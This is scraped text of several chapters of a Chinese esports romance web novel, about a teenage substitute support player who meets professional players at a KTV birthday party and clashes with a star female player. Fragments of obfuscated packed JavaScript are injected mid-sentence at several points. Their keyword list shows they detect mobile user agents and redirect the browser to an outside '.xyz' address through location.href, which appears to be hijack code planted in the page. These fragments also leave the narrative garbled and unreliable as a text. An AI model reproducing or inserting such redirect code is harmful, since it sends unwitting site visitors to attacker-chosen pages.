35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326010|183222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 其余的时间都在和元宝有一搭没一搭的聊着。 元宝是她在游戏群里认识的女生，从网友到游戏好友，再变成无话不谈的好朋友。现实中她今年大三，本在正在为实习的事情焦头烂额，游戏渐渐关注得也少了，结果因为好朋友突然变成了职业选手，于是临时给自己多设了一个目标：成为竞圈人脉姐。 【元宝】：听说这些竞人私下里都很……虽然Bunny没听过什么黑料，不过还是要多个心眼！ 【姜汁汽水】：[鄙视][鄙视]没有黑料也没有可能是因为太糊了 【姜汁汽水】：这些臭打游戏的男人能有一个正常人吗？ 【姜汁汽水】：放心，我默认所有竞男都是垃圾（尤其是AD和打野 【元宝】：哈哈哈哈不愧是你啊！ 没错，汤瑶就是这样一款钛合金钢铁直女。明明双人组的气氛最容易产生情愫，结果放在她身上只能产出脏话。元宝时常开玩笑说想象不出她这种性格会和怎样的男生恋爱。她说不知道，但绝对不会是爱玩厄斐琉斯的ADC。 【元宝】：也不要想那么悲观！男人都很会装的，在陌生人面前肯定还是挺体面的。 【元宝】：所以如果有什么知名选手在，你记得帮我要签名[玫瑰][亲亲][亲亲] 【姜汁汽水】：我就知道你在想这个！！！ 【姜汁汽水】：所以我还把我备用的鼠标垫带上了 【元宝】：[飞吻] 【元宝】：老婆真好，啵啵啵啵~ 两人的想法非常美好，结果现实很骨感。 真正见证了，才深刻意识到职业选手也不过也只是一种职业，看起来紧密无间的队员们说穿了就是同事，每个人都有各自的圈子，私下的聚会更不存在想象中的某队或者某位置团建。 汤瑶跟着Shark来到包厢，进去了发现里面的男男女女全都没见过，她有一瞬间怀疑自己是不是比赛看得太少了，怎么一个都对不上。介绍过才知道全都是圈外的朋友，除了一个大美女是隔壁FPS游戏的主播之外，其他人都跟游戏不沾边儿。 作为东道主的Bunny还有同队的辅助则是因为时间观念差劲，出门的时候赶上高峰时刻，被堵在了路上。 Shark没有说谎，他和其中的几个人从前都见过，很快就打开了话题。汤瑶完全没预料过事情会这样发展，跟着坐着十几秒之后就推说不舒服，跑去厕所里躲了起来，先元宝大吐苦水，再然后就索性玩起了小游戏。 直到Shark打电话过来，她才用虚弱的声音接了。正要把酝酿好的推脱说出口，那边先开口了：“你人呢？Bunny他们来了——” “我可能有点不……” “对了，卧槽米法也在。你帮我去前台要只笔，我帮我朋友要几张签名。” “？？？”米法？是那个米法吗？汤瑶咬了下舌头，立刻精神焕发，“好嘞哥，我两分钟就到。” 5. 第 5 章 包厢里的灯光是暧昧的蓝紫色，空气中漂浮着各种香水掺杂在一起后的复合甜腻味道。汤瑶回来的时候正好有个不认识的人正在把着麦唱跑到隔壁村的《目不转睛》，不仅难听还自我感觉良好，她几乎是在下意识白眼的瞬间及时低头才及时收住了。 再一抬头，视线立刻就被角落里挑染狼尾的男生吸引住了。 看到真人之前，她一直觉得MIFA的颜粉太夸张，然而现在手已经在抖了。 她脑子发晕，愣在原地没动。还是Shark看见她来，冲她使劲招了招手，她才壮着胆子靠过去。小心翼翼地坐在很有距离地附近，摸了摸滚烫的脸，偷偷感慨还好是阴间灯光。 那边的目光看过来：“这是你女朋友吗？” Shark连忙摆手：“怎么可能！她就是刚刚说的那个姜姜啊，我们队的辅助。” 汤瑶小声补充：“替补。” 谢回收回视线：“哦哦，因为她有点漂亮，我没选手那里想。” 话音刚落，身上又多了几道打量的视线。紧接着相继点头：“确实。” 话题莫名其妙就被带到了汤瑶身上，就连原本靠在谢回边上玩手机的男生也抬起头和她搭话，问她几岁了。她认出来这就是Buuny。比赛镜头里他看着也就普通，真人竟然还不错。如果没有太残忍的参照物在旁边对比的话，确实算是个小帅哥。 “我十七。” “放屁，她比我小一岁。我都还没过生日。” 汤瑶真的很讨厌随时随地都要抬杠的男人，好像不否定别人就不会说话一样。她的好心情被搅散，虎着脸瞪过去：“……你要死啊！虚岁不行吗？” 结果周围人哈哈笑起来，Bunny连连啧声，还感慨起来：“哇，真妹妹诶。太稀奇了，我打这游戏好久没遇到过年纪小的女孩子的，全都是姐姐妈妈。太少见了！” 同队辅助Zaki附和：“是啊。而且很多女的都是阿姨大妈的年纪了，菜又菜得要死，但就也要当妹妹，心里没点数。”他随口一提，紧接着又一大通问题甩过去，“妹妹你是怎么签进来的？你现在住哪？跟他们一起啊？卧槽……那你们也住大别野？你平时……” 汤瑶被问得一愣一愣，眨巴了两下眼睛，然后才按照顺序回答：“呃，我就是青训报名……没有别墅，但是我单独一个房间……我是……” 谢回听着听着，直到听到女孩说自己的韩服ID，突然有了印象：“卧槽，你游戏头像是不是猫咪？……那你昨天是不是玩过璐璐？用的冰雪节皮肤？我好像排到过你，G什么什么是吧，反正一串英文。” “昂。”汤瑶都不敢直视谢回，实在是离得太近了，光是这样说话心跳就控制不住在加速，再看过去真要晕，“对。你是莉莉娅是吧，前面豹女跟你换野区，然后你就崩了。” “卧槽，不是换野区，是对面那个傻逼永恩抢了我两个F6，我一波没上2，然后打红的时候鳄鱼又来找我！” 说起游戏，谢回明显状态不一样了，坐起来开始比划，她这才发现他还戴了单边的流苏耳钉，“我草——我下野区本来就没了，上野区就吃了点垃圾，后面豹女都6级了我才升的4。本来没什么，主要是白给非跟我吵说纳尔就是打不过鳄鱼，那、那再怎么打不过，也不能让他二级就进我野区啊！！卧槽，是人？那纳尔是人？这还能洗？啊？啊？！” “呃……哈哈哈，我不知道前面，我对线不怎么切屏。反正是赢了，我们不是翻盘了么。” 汤瑶都不敢大声说话，怕心从嗓子里跳出来。实在是这辈子没跟帅哥靠这么近过，三个月前她还只是会被开鬼火的精神黄毛吹口哨，现在竟然在和竞圈明星复盘同一场游戏。天呐……这谁受得了！ “是啊。那把你功劳很大，你中期跟我找了好几波节奏我才把发育追回来，而且后面几波保后排也很好。可以可以。”谢回说着说着，突然就翻出手机，毫无征兆的说道，“等会儿，我给孟麒打个电话。” Bunny爆出一句脏话，给了他一拳：“卧槽，死舔狗，你别自己找罪受啊？今天老子过生日，别在老子生日上哭丧啊！” “你特么明天才生日好吧。”谢回回了他一拳，还要说些什么，手机那边嘟一声暗了，立刻换了个声调，“歪？小麒，你回基地了吗？” 话筒里的女声淡淡的：“没有啊。” “那你来我这边吗？我在XX商场4F的KTV，Bunny过生日，他晚点还请客吃饭。” 结果对方惜字如金：“不。” 然而谢回毫不意外，也不气馁，乐呵呵的说：“但是还有个妹妹诶，她是今年青训刚签到CEE二队的……她说想要你签名！” 汤瑶瞪大了眼睛，下意识想说点什么，结果看着大帅哥可怜兮兮冲自己求情，一下子就没脾气了。只是在心里默默吐槽：臭直男，这什么鬼理由，难怪长这么好看也追不到…… 万万没想到，话筒那边在七八秒的沉默后开口了：“要迟点，可能得半个钟。” 谢回的表情已经乐开了花，但语气保持着镇定：“嗯，你来了跟我说，我去接你。” 他挂了电话，眉飞色舞的跟Bunny说晚上的时候给他开瓶酒，然后才转过来看汤瑶，“过会儿你有什么不懂的你可以问问她。而且我们队好像跟很多战队都有合作，就是好像如果签女选手，可以帮忙走流程，反正就是挺好的……不知道你们是不是。我不太清楚，反正你都可以跟她说。” “啊……这，我……好、好吧……”汤瑶挤出一个无奈的笑。 以后如果谈恋爱，千万不能谈帅哥！她在心里为自己总结出了第一条‘血淋淋’的人生经验。对着过于好看的脸，实在很难坚持自我，更别说据理力争什么的了……果然美貌这种稀缺资源在生活中的用处很大啊。 汤瑶对LADY SHIVA的印象不怎么样，总觉得对方是个被全方面包装营销的商品，而且隔三差五就要说一些语不惊人死不休的话，喜欢的人觉得是勇敢，不喜欢的人只会觉得是表演型人格。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326011|183222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >加上自己在游戏里接触过的主玩C位的同性玩家几乎每个都很优越，有的男人味比真男人还要重，她还因此受过不少歧视和伤害，因此更是对这种群体的代表人物没好感了。 她还在默默做心理建设，包厢里的人们却因为这个名字炸开了锅。除了打比赛本来就见过的Bunny和Zaki比较淡定，就连原本在另一边说话的女主播都凑过来说想要TO签。FPS的女玩家倒是对LADY SHIVA充满了美好的脑补和向往，这大概就是距离产生美吧。 她无心参与话题，于是退到了一边，偶尔跟她搭话，她才回那么两句。 后面大家就过去排队点歌，因为麦克风和开关原唱争来抢去。Shark聊完了来到她身边，顺便把一瓶可乐汽水递到她面前：“我加到MIFA微信了，你要不要也去？” “算了。”汤瑶专注于手里的小游戏，头也不抬。 “Bunny说想加你，我把你推给他？” “你推呗。”她主打不主动不拒绝，“对了。”她把包里的鼠标垫和签名笔一起塞过去，“交给你一个光荣任务，帮我要个签名去。” “我去，你早有准备啊！”Shark拿着鼠标垫很无奈，“单要倒是没什么，拿鼠标垫好尴尬啊。你要谁的？MIFA哥的？” 废话，不尴尬我就自己开口了吗！ 汤瑶直接无视他的吐槽：“嗯呐。反正其他俩都是你朋友，什么时候想要都能有，是吧鱼哥？” “唷，你原来会好好说话啊。不过鱼哥好奇怪啊，你不能叫我航哥吗？” “航哥是谁？” “……你，你不会还不知道我叫什么吧？我靠，我们俩都当这么久队友了！老子的名字天天写在你边上，你不知道啊？” 汤瑶装模作样扶了一下贴得非常牢固的假睫毛，眼神刚移到别处去，门正好开了。所有人都下意识的看了过去，谢回更是弹射起步，直接从最远的对角线仗着人高腿长几步窜过去：“来这么快啊。” 传说中的LADY SHIVA穿了一件黑色高领的针织打底，带了一串小珍珠项链，没有任何粉装点的脸平整又流畅，乍看并不出彩的五官，组合在一起却别有一种吸引人的气质。矜贵又美丽，像一只天鹅。 她简单回了一句什么，又环顾了一圈包厢，目光很快落在了汤瑶身上。 只是还没开口，其他人开始起哄：“哟！双子星齐了！” 女主播也是换了个离门口更近的位置，冲她挥手：“哇，西瓦我是你粉丝！签名签名，帮我签名！我超级喜欢你，去年你们决赛我还去现场看了！” 孟麒礼貌的点点头，走过去的同时很流畅的把身边的谢回拍开：“童泽在楼下挑礼物，不是Bunny过生日吗？你要没事干你就去接下他。” 虽然不知道童泽是谁，但是女人的第六感让她嗅到了狗血的气息。 于是再次心跳加速，盯着表情迥异的两个人脑补了各种剧情，啧啧在心中感慨：贵圈真乱……好看，爱看！ 6. 第 6 章 孟麒很瘦，侧面看着几乎薄薄一片，只有胸口略略有些起伏。头发看起来很柔顺，用一个不太搭配的粉色小熊发圈盘了个低低的丸子头。不怎么笑，但意外的不让人觉得冷漠。她坐下之后没有接纸和笔，而是从包里拿出一叠手幅和金色签字笔：“这是我们战队给我们做的物料，你看看你想要哪个，我给你签上面。” “哇！你好细心！官方物料我还没真没有，但是我领过粉丝的，她们那个还得看消费记录和超话等级呢。不过都挺好看的……唔，我要这个，我觉得你这张好看！” 这真的是细心吗？什么人会出门的时候随时带着自己的手幅啊，太自恋了吧！ 女生刷刷几下签好了递过去：“谢谢支持，而且官方的东西都是可以在比赛前排位免费无条件领的。”顿了顿，解释道，“我想不到那么多，这些东西是我对象每次跟我约会准备的……他说被认出来了就当封口费。所以，嗯……所以你懂吧？” “哦！懂懂，放心，不会说的。”女主播很开心的把签名手幅塞进包里，善解人意道，“你这种曝光的选手，谈恋爱确实低调一点好。”不过又意味深长的看了旁边的男生一眼，戏谑的又问，“你男朋友过会儿是不是也过来啊？是谁啊？” “反正人都要来，你直接问人家不行吗？”谢回看起来非常不爽，直接攥着孟麒的手腕把她拽了起来，紧接着就把人往汤瑶身边带，“你还没给小姜妹妹签名呢。她前几天刚签CEE二队，现在韩服六百多分，我昨天还排到她了，真的挺厉害。” 孟麒被按到汤瑶边上坐下，谢回则很识趣的让开了两位身位的距离，但又叉着腿，双手撑在胳膊上，巴巴儿盯着两个人看。两人都有点尴尬，汤瑶更甚，不动声色挪了挪，龇牙咧嘴的不知道要说些什么。孟麒主动把手幅拿出来，说话要比刚才还轻一点：“你想要哪个？” 虽然被当成道具的感觉很不爽，但刚刚的内心吐槽下一秒就被打脸，让汤瑶莫名有点心虚，所以还是很礼貌地装模作样，拿了最上面的那张：“就这个吧。” 孟麒的手也很好看。个子高又瘦的女生的手修长又分明，中指戴着一个很素的戒指，不知道真实价格如何，但观感非常贵气。她很快写好递到她的面前：“一起加油。” “谢、谢谢……”汤瑶对于优秀的女生总有种天然的恐惧。 初中的时候她为了可以上网，每天跟坐在最后排的小混混们插科打诨，彪悍又勇猛，生起气来敢举起椅子追着人满教室跑，那些男生没人敢惹她，她也因此得意洋洋，自认为是班里的大姐大。 班里的纪律委员则是个每次考试都年纪前五的女孩，安静瘦弱，头发板板正正的梳成大光明的马尾高高扎在脑袋后面，被调皮的男生说是小鸡崽。然而就是这样的‘小鸡崽’，每次管理纪律的时候，哪怕只是视线淡淡带过自己，自己都会因为羞愧浑身燥热，涨红着脸乖乖闭上嘴或者闭眼。 因为汤瑶总觉得女孩都是镜子，越优秀的就越清晰。所以她不是害怕她们，是羞于见证自己的不堪。 ——她是一只懒惰又颓废的，不想见到阳光的老鼠。 “你是什么打的位置？”高贵的天鹅主动靠近她，“是中单吗？” 汤瑶不受控制的开始浑身发烫，指甲狠狠掐着掌心的肉，摇了摇头：“我，我就是辅助。” “哦……”孟麒若有所思的点点头，“辅助六百分很厉害啊，现在LPL都没多少比你分高的辅助。”看得出她还在努力找话，压在手下的包忽然震动起来。于是递了个歉意的眼神，拿出来看了看人就接，“喂？怎么了？……右拐，是C602。嗯，对，直走……” 她一面说，一面往门那边开。后面不说话了，门也被推开了。 也是个让人眼前一亮的帅哥，比起谢回那种让人很有压力的美貌和过于强烈的穿搭风格，新来的这位的微分碎盖和牛仔外套让人觉得特别亲切。对方手里提着一个苹果LOGO的包装袋，大大方方的走到孟麒边上，坐在了谢回特地让出来的那个空隙里，顺便把手里的东西挂在了他手上：“给你朋友买的，耳机。” 谢回不肯使劲，摊着手，瞪着眼，说了你，又没有再往下说。独自生了几秒钟闷气，真拎着东西过去了。 男生很得意的看着吃瘪的谢回，很自然的拉着女朋友的手摸了两下，跟着也起身了：“那我也过去说两句,之前Bunny在THG的时候我还看得挺多的。”转过来冲汤瑶也很友好的笑笑，“你们两个继续说悄悄话吧。” 孟麒难得露出生动的笑，握着了一下他的手才放开：“嗯啊。” ……好，好强烈的人夫感啊！ 本来谢回在短短四十分钟内就把脸的信用度刷得差不多了，这会正宫一来，更是从情商和气度上被全方位碾压了。果然光长得好看是没用的，一张美丽但愚蠢的脸，最后只会成为催生乳腺结节的诱因。 感慨之余又有点失落。 应该只有C位才能有这么乖巧又体贴的男朋友吧？ 辅助…辅助果然很没前途啊！游戏里无能，游戏外狂怒。不论官方再怎么为辅助挽尊，不断强调辅助的意义，其实就跟外国人喜欢高喊“黑人的命也是命”一样，当说出这种话时，就证明真实情况正处于水深火热的歧视之中。 之后的气氛很融洽，各自都聊了些有的没的，时间差不多了，就转场去楼上提前吃饭。选得是一家据说在选手中口碑不错的中高端日式烤肉店，因为汤瑶的关系，谢回没办法挤到孟麒身边，虽然他没表现出来什么，但女孩总是在这方面的感知非常敏锐，全程都能感觉到非常幽怨的视线不时扫过来。 然而孟麒显然已经习惯这种修罗场了，视若无物的两边说话，完全不把那只酸气冲天的大狗狗放在眼里。汤瑶既吃肉也吃瓜，抽空还要擦擦手给元宝文字转播一下，忙得不行，但快乐又满足。 吃完了饭，大家在玩剧本杀和去酒吧之中选择了后者，所以两个未成年被迫PASS。酒足饭饱的大家结伴离开，汤瑶走出了烤肉店才发现耳机落下了，于是匆匆忙忙回去拿。一来一回，其他人都下到另一层了，只有黑衣服的女生在不远处等着。 她有点紧张的跟上去，解释说东西忘记拿。 商城的电梯穿插交互，在上面可以看到下方的情况。童泽和谢回不知出于何种心态在最前面，Shark则被两人护送在中间。后面则是以Bunny为中心一群，叫仙草的女主播和他们嘻嘻哈哈，很是热闹。两个人有意加快脚步，终于在4-3F的时候赶上了大部分，只是被其他人群隔在了前后。 仙草没注意到身后，笑完突然拍了拍Bunny，没来由的来一句：“欸，兔子，你是不是加那个妹妹微信了，你是不是看上人家了？” “没有啊，加个微信而已，你怎么满脑子都是这些男男女女的事情！” “卧槽，周琦辰你敢这么说我？不是你自己女朋友换来换去啊？懂了，就没看上人家妹妹是吧！我倒是觉得她挺可爱挺漂亮的。” “漂亮是漂亮，漂亮有什么用？她是选手啊……卧槽，那肯定要猛的。真要让我随便挑，那我包挑那个……就那个，你知道吧。她猛啊，我们去年一年连训练赛都没赢过他们队，把把五分钟中单就喊G说玩不了，要不然就是我玩不了…我说真的，她的打野，谁上谁都行，换我我也亚军了。” “你这就跑题了，我说的恋爱你说的是工作。行，那如果西瓦和那个妹妹都不是选手，你选谁呢？” Bunny摸着下巴：“那这样的话——”他故意拖长了声音吊胃口。Zaki直接戳破：“肯定西瓦啊。”他就笑了：“你怎么知道？”对方说道，“因为我也这么选啊。” “真的假的？你们是不是就是喜欢瘦的？” “不是啊。大姐，你别这么肤浅行不行。”Zaki振振有词，“这两个不管是游戏还是生活都没得可比好吧。就算不是选手，西瓦是学霸，个子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“为什么不行？”汤瑶梗着脖子，并不觉得这有什么可耻，“你知道我为什么刚刚不生气吗？因为比这难听多得多的话，我现实里游戏里都听过。我不是恋爱脑，不是看到你恋爱就想要个白马王子。我只是觉得正常合格的男人是特别特别稀缺的资源而已。你根本不懂他们多难得，所以你才觉得我好笑！” “我不觉得你好笑。”这只矜贵又可憎的黑天鹅确实没有半点笑意，她思考了一会儿，问了汤瑶一个问题，“你觉得你的梦想是什么？或者……你觉得女孩子的梦想应该是什么？” “我不知道啊！”汤瑶逆反心上来，冷笑着加快脚步，大有想要甩开对方的意思：“难道人非要有梦想吗？我只想混吃等死而已！我就想当条咸鱼，不行？” “他们在那边。”孟麒的情绪稳定到惊人，“咸鱼也可以是梦想。但绝对没有一个女孩的梦想会是一个如何如何的男人。绝对不会。” “凭什么？男的从八岁到八十岁都想要女人，女人为什么不能想要男人？” “因为男人喜欢女人是因为除了女人，他们生来就什么都有。然而向往男人的女人往往总是除了男人别无选择。所以女孩子的梦里什么都会有，但绝对不会有男人。” “听不懂。”汤瑶感觉跟文化人讲话真累，她从来没有觉得Shark的背影那么顺眼过，破天荒喊了声航哥，提前让等着的三个人看了过来，强行打断了话题。她三两步跟过去，童泽指了指停在旁边的黑色车子，于是点了个头就拽起自家AD走，“OK，我们走了。回头车费转回给你们！谢谢！” 车子启动之后，她气鼓鼓从包里拿出一把签着LADY SHIVA的手幅狠狠攥住。一旁的Shark吓得战战兢兢，话也不敢说话。她不管身边人的表情，只是用力、用力、再用力，直到它们被揉成一团。 ——讨厌她，特别特别讨厌她。 7. 第 7 章 十几岁的年纪，正是和全世界作对的时候。 青春期的少女就是这样，蛮横也脆弱，固执又敏感。有着挥霍不完的眼泪和悲伤，既会因为自己脑补成影视作品里千夫所指的大反派伤心，又因为清清楚楚意识到自己其实是小说里连名字都不配有的路人甲乙丙伤心。总之在荷尔蒙的作用下变成了某种易燃易爆炸的不稳定物质。 漫长的车程，汤瑶几乎咋一直都在阴沉着脸噼里啪啦敲屏幕。Shark完全搞不清状况，只觉得昏暗的车厢里，手机屏幕映出来的蓝光把她的脸色照得比草丛里突然伸出来的机器人手臂还要恐怖。他想不明白，也不敢多问，在旁边提心吊胆玩手机，看到好笑的帖子也憋着尽量不笑出声。 好在这种气氛没有持续太久，车程过半，那边总算“噗嗤”笑出来了。 汤瑶重新把手幅展展平，折了折塞回了包里：“欸。”鼻音有点重。 他看过去，发现女孩眼睛红得像兔子，更不知所措了：“啊？” “你当没看见。”汤瑶用指腹在脸上有规律的从上往下按压，有点像心虚的时候没事找事，“不然我要被那些粉丝爆破了。” “喔……肯定。”Shark挠挠头，补充一句，“我们是队友，肯定是一边的。” 确实，明星选手的粉丝一旦出动都是蝗虫入境，大家都会被牵连。这个说法很诚恳也可信，汤瑶很放心。她松了口气，突然觉得Shark人还行，起码作为朋友和同事好像没那么差。于是点点头：“那就好。” 没有更多的交流，但两个人都放松多了，Shark看回手机，还翘起了二郎腿。 汤瑶就是小孩子脾气，情绪来得快去得也快，刚刚噼里啪啦跟元宝大吐苦水，得到了想要的安慰和附和，也就冷静了下来。平复心情之后给刚刚添加的好友‘7’转了200块，并且精挑细选了一个可爱的表情包过去，附言：谢谢西瓦姐和嫂子哥！ 她没有再切出去，而是咬着手指紧张地等着回应。 一分钟…两分钟…… 终于，转账显示了被接受。她终于松了口气，虽然她在心里隐隐担忧这是对方预判了自己的心态才故意收下，但不论如何，成功转出的车费已经成为了她重新拼凑自尊的契机。 对方若无其事的问自己是否安全到达基地。她也很快回复说没有，到了会再告诉她。于是对话就这么结束了。 汤瑶的心情好了不少，甚至开始咂摸之前并不愉快的对话，本着逆反到底的心态，她开始和元宝讨论“梦想”。 【姜汁汽水】：还真别说，跟她吵架之前我还从来没想过喜欢的男生。毕竟我玩这个游戏的绝大多数时候都充满怨气，好像只有讨厌的类型……你觉得我会喜欢什么样的人？ 元宝是个骨灰玩家，同样是个网恋达人。两人认识两年多，元宝断断续续网恋了七八次。虽然，汤瑶对她每个对象都很不满意，只是程度不同而已。但元宝有是个很有原则的网恋人士，不看对方照片，不收对方转账，不涉及彼此现实。说白了就养电子宠物，主打互相陪伴，所以并不怎么影响一路见证过来的好朋友血压。 相对于只短暂有过一段疑似恋情的汤瑶来说，她在这方面确实是个前辈。 【元宝】：。。。 隔了好一会才发来这么一串句号，看得出来每按一下都经过了无数次头脑风暴。 【元宝】：有点难以想象 【元宝】：不过可以排除法，把不喜欢的都排除掉，喜欢什么不就知道了吗？ 【姜汁汽水】：好主意！ 【姜汁汽水】：第一，不能会玩厄斐琉斯。 【姜汁汽水】：第二，不能喜欢打AD 【元宝】：哈哈哈哈太是你了 【元宝】：不过也不要局限于游戏吧！我觉得你以后也会有很多帅哥粉丝的！ 【姜汁汽水】：哈哈哈哈哈哈真的吗？那等我成年了我一定要睡粉！！！（不是 【元宝】：哈哈哈等你以后红了，我来找你面基，你要包我吃喝拉撒，还给我多找几个帅哥！知道吗！ 【姜汁汽水】：OKOK！等姐有钱了给你点八个男模！ …… 汤瑶想象了一下功成名就后的快乐生活，笑得东倒西歪。 回到基地后，连教练都不在，汤瑶也不关心，径直回房间卸妆洗澡，吹头的时候看了一眼战队群，才知道其他人是出去吃饭了。本来打算休息一会儿，可实在不累，所以收拾收拾又出去了。 作为替补，各方面要求都很宽松，而且汤瑶感觉六百分已经是自己的极限了，她已经卡在这个分数上上下下快半年了，短期内不会有什么太大波动。好不容易出去透了透气，回来对着电脑有点索然无味，她打开了韩服，但是没有排位，只是坐在位置上玩手机。 汤瑶把出门前的两张自拍发了出去，收获了一堆网友的点赞。 除了元宝，她没告诉任何人青训的事，所以在网友们的眼中，她只是个再普通不过的游戏好友，只有在发照片的时候才会稍微有那么点儿存在感。毕竟女玩家的段位是代打的，战绩是没有含金量的，只有漂不漂亮才是真的。 几个已经没了印象的黑白漫头发来私聊，问玩不玩。 汤瑶喜欢跟女生一起玩，但双妹车的通病就是位置冲突，平均水平不高。她虽然很乐意给好朋友让位置，但她确实不太擅长线上路。如果是包下，她虽然可以很轻松带好姐妹撞碎绝大多数对面，但是等到了打团就无法控制走向，对于补位AD的朋友来说压力也过于大了。 本来现在匹配环境非常糟糕——高手在单双冲分，富哥在组排娱乐，所以ELO的安排下，她们这种每赛季大师起隐藏分的账号匹配到的对手全都是热爱并且擅长带妹的匹配皇帝们，强度堪比高分组排，根本没有双妹车嘻嘻哈哈的余地。 所以为了朋友的游戏体验，她的爱好就是收集各种“腿子”。只要是玩过印象不错的，都不吝啬交换联系方式，以备不时之需。 当然了，这些人的保 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326013|183222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 值期很短暂。 有的是几天，有个的是一个礼拜，有的是几盘。 毕竟在竞技游戏里，分段就象征着权力，女孩则是没有被游戏写进赛季奖励里的一项隐藏奖励。他们用天赋在峡谷里纵横潇洒，享受的就是女孩儿们的赞叹和恋慕。 所以啊，在这款游戏里，异性之间的关系不进则退。从相见到相识只需要一场游戏，从相识到心动需要一次闪现过来的“命运的召唤①”，也可能只是换了同色系的皮肤炫彩。之后就是顺理成章的互相夸奖，互相倾吐，再一起听听网易云，不挂电话感受几天彼此睡觉时呼吸。最后梦里白天都这个人，千般万般不好也好了，最后确定关系，彼此笃定这次一定真心实意，结果不如一瓶水果罐头来得长久。 汤瑶没经历过，但是看得很透。 她一般会卡在互相夸奖那个步骤。她很难对那些狂妄但其实根本不够格的少爷憋出什么溢美之词，没在漏跑车的时候打问号是她礼貌的极限。所以那些罗曼蒂克的情节总是和她无关，她同样对那些嗤之以鼻。 因为换了新手机，聊天记录无从查起，她记不起这些人是谁了，也就敷衍了过去。 【元宝】：宝宝你休息了吗？ 【元宝】：要不要玩几把压？我这几天比较闲 【姜汁汽水】：上号！ 现在大学生的日子也不好过，人在学校里就要卷学校外了，又要学分又要成绩，不论是岗位还是某些读研的科目都需要工作经验，元宝忙得每天用咖啡续命。后面又是汤瑶进青训，一连三个月。现在算起来，两人几乎小半年没有一起玩过了。 坐在正儿八经的战队基地里，身边的队友都在韩服激战，在这种环境里打开国服，并且接受匹配邀请的汤瑶心情既激动又忐忑，还有那么点像做贼。 “歪，歪歪，听得见我说话嘛？” 汤瑶看了看旁边的Buer，做了个没人看见的为难表情，给她微信发了私聊：他们都在训练，我不好意思开麦。 “哦……对哦对哦，没事，那你打字吧！”善解人意的元宝并不在乎这点小意外，“你还有好友嘛？没有我就随便拉人了？” 好久没登国服账号，原本就少得可怜的好友好像更少了。于是凑人这项重任就交给了元宝。元宝也是不负众望，很快就凑满了人。分了一下位置，三个路人上中野，元宝要打AD，说是要感受一下她这段时间进修的成果。 汤瑶也是二话没说，直接表演了随机英雄，但稳定carry。打了六把，让元宝喜提四把MVP，更是被几个路人轮流夸，她开心得不行。朋友开心，她也开心。一直到十二点多元宝要睡觉，大家也就各自散了。 手感火热的汤瑶则是打算去韩服再冲两把，结果收到了路人上单的好友申请。于是她先翻了一下前几把的战绩，还算好看，再看了下段位：大师/48胜/255胜点，最高熟练度是卡莎，竟然是个主玩AD的，那加自己就不奇怪了。 她顺手同意了，同时退出了客户端。 8. 第 8 章 手感火热的汤瑶鏖战整晚，终于在睡前重回六百分。第二天出来，就发现身边的机位换了人。她开始没在意，去厨房泡了一通泡面带回桌子前，才发现左边原本很显眼的粉色键盘都不见了，Shark正皱着眉头蹲在一二塔之间的草丛里打信号，于是惊讶得多看了几眼。 结果Shark敏锐的捕捉到了，立刻撤下耳机，身子连带着椅子一起靠到她身边说悄悄话：“Buer跟我换位置了。”顿了顿，“……他说……吵。” 汤瑶翻了个大大的白眼。 拜托这个基地每天都在鸡飞狗跳，直播的直播，连麦的连麦，聊天的聊天，再不然就是情到深处口吐芬芳，还有间歇时各种外放抖音以及充着电的手机不断在某手游界面。自己RANK的时候几乎不会发出声音，也就昨天跟朋友开黑的时候偶尔按键麦说了几次话而已。 在心里说了句有病，其实并不当回事，从兜里拿出两颗卤蛋，麻利地用嘴撕开之后依次丢到了泡碗里。基地的做饭阿姨只会在中午和晚上出现，份量和质量都一般般，偶尔还不出现，所以各种速食和零食很多，或者也会点外卖。她是太饿了，所以选了最快的方式。 对了，还要一听冰可乐！ 汤瑶想到就立刻起身去拿，心情非常不错。要是在家里，她光是坐着呼吸都要被妈妈唠叨。这儿多好啊，自由自在，无忧无虑，每个月只要打打喜欢的游戏就能有不菲的薪资。正这样想着，结果刚坐下，就感觉一道视线落到自己身上，幽幽的说道：“你不怕胖吗？” 汤瑶瞪大了眼睛转过去，眉头拧成疙瘩：“啧。关你屁事啊！” Shark的‘蜘蛛感应’很灵敏，立刻笑着打哈哈：“哎呀随便说说，你别生气嘛……我，也是关心你身体健康。” 这当然不能平息汤瑶的怒火：“你怎么不去关心你妈？我吃你家大米了？” 